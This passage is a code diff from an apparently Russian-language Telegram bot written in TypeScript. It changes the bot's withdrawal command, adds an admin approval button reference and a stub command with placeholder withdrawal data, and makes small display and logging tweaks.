+ user: 1,
19
+ amount: 100,
20
+ date: new Date(),
21
+ method: 'card',
22
+ requisites: '1234567890',
23
+ coin: 'BTC',
24
+ bank: 'Tinkoff',
25
+ status: 'pending',
26
+ };
27
+ }
28
+
29
+ public async execute(context: CommandContext, @CommandArgument('withdrawalId') withdrawalId: string) {
30
+ const withdrawal = await GetWithdrawalCommand.getWithdrawal(withdrawalId);
31
+ }
32
+ }
@@ -1,6 +1,7 @@
1
1
  import { cardValidator, Command, CommandArgument, CommandD, numberValidator, phoneValidator, stringValidator } from 'evogram';
2
2
  import { CommandContext, InlineQueryContext } from 'evogram/lib/migrated';
3
3
  import { Client } from '../../Client';
4
+ import { AdminWithdrawalCommand } from './AdminWithdrawal.command';
4
5
 
5
6
  @CommandD({ name: 'withdrawal', description: [{ text: 'Вывод средств' }, { language: 'en', text: 'Withdrawal' }], backButton: 'К выводу' })
6
7
  export class WithdrawalCommand extends Command {
@@ -246,7 +247,7 @@ export class WithdrawalCommand extends Command {
246
247
  `<i>— Сумма вывода: {{ ${Number(validateArgs.amount).toLocaleString('ru')} ${config.currency.toUpperCase()} }}</i>\n` +
247
248
  `<i>— Реквизиты: {{ ${validateArgs.requisites?.formatted || validateArgs.requisites?.wallet} }}</i>\n` +
248
249
  `<i>— Метод: {{ ${validateArgs.method === 'crypto' ? `Крипто-кошелек ${validateArgs.coin?.toUpperCase()}` : args.method === 'sbp' ? 'Номер телефона' : 'Банковская карта'} }}</i>\n` +
249
- (args.bank ? `<i>— Банк: {{ ${args.bank} }}</i>\n` : '') +
250
+ (args.bank !== "none" ? `<i>— Банк: {{ ${args.bank} }}</i>\n` : '') +
250
251
 
251
252
  `\n<i>— Ваш баланс после вывода: {{ ${await (context.user.db.balance - (await validateArgs.amount.convert({ from: config.currency, to: 'RUB' }))).convert({ from: 'RUB', to: config.currency })} }}</i>`,
252
253
  },
@@ -282,21 +283,32 @@ export class WithdrawalCommand extends Command {
282
283
  // const _method = method === 'crypto' ? `Крипто-кошелек ${coin.toUpperCase()}` : method === 'sbp' ? 'Номер телефона' : 'Банковская карта';
283
284
  // context.user.db.requisites = `${withdrawal.requisites} [${_method}${method === 'sbp' ? ` [${bank}]` : ''}]`;
284
285
 
285
- context.user.log(0, `Заявка на вывод средств ${amountInRUB.toLocaleString('ru')} RUB`, {
286
+ console.log(
287
+ {
288
+ text: '🚀 Выплатить',
289
+ callback_data: `${AdminWithdrawalCommand.name}?id=${id}&decision=1`,
290
+ },
291
+ {
292
+ text: '❌ Отказать',
293
+ callback_data: `${AdminWithdrawalCommand.name}?id=${id}&decision=0`,
294
+ }
295
+ );
296
+
297
+ context.user.log(0, `Заявка на вывод средств ${amountInRUB}`, {
286
298
  // prettier-ignore
287
299
  message:
288
- `💲 <b>Сумма:</b> <i>${amount.toLocaleString('ru')} ${config.currency.toUpperCase()} (${amountInRUB.toLocaleString('ru')} RUB)</i>\n` +
300
+ `💲 <b>Сумма:</b> <i>${amount.toLocaleString('ru')} ${config.currency.toUpperCase()} (${amountInRUB})</i>\n` +
289
301
  `💱 <b>Метод:</b> <i>${method === 'crypto' ? `Крипто-кошелек ${coin.toUpperCase()}` : method === 'sbp' ? 'Номер телефона' : 'Банковская карта'}</i>\n` +
290
302
  `🔘 <b>Реквизиты:</b> <i><code>${method === 'crypto' ? requisites.wallet : requisites.phone || requisites.card || requisites.formatted}</code>${method === 'sbp' ? ` [${bank}]` : ''}</i>`,
291
303
  keyboard: [
292
304
  [
293
305
  {
294
306
  text: '🚀 Выплатить',
295
- callback_data: `AdminWithdrawalCommand?id=${id}&decision=1`,
307
+ callback_data: `${AdminWithdrawalCommand.name}?id=${id}&decision=1`,
296
308
  },
297
309
  {
298
310
  text: '❌ Отказать',
299
- callback_data: `AdminWithdrawalCommand?id=${id}&decision=0`,
311
+ callback_data: `${AdminWithdrawalCommand.name}?id=${id}&decision=0`,
300
312
  },
301
313
  ],
302
314
  ],
@@ -314,7 +326,7 @@ export class WithdrawalCommand extends Command {
314
326
  `<i>— Дата: {{ ${new Date().toLocaleString('ru')} }}</i>\n` +
315
327
  (method === 'sbp' ? `<i>— Банк: {{ ${bank} }}</i>\n` : '') +
316
328
 
317
- `\n<i>— Ваш баланс: {{ ${await (context.user.db.balance - amountInRUB).convert({ from: 'RUB', to: config.currency, round: true })} }}</i>`,
329
+ `\n<i>— Ваш баланс: {{ ${await context.user.db.balance.convert({ from: 'RUB', to: config.currency, round: true })} }}</i>`,
318
330
  }, {
319
331
  noBackButton: true,
320
332
  });
@@ -1 +1,3 @@
1
+ export * from './AdminWithdrawal.command';
2
+ export * from './GetWithdrawal.command';
1
3
  export * from './Withdrawal.command';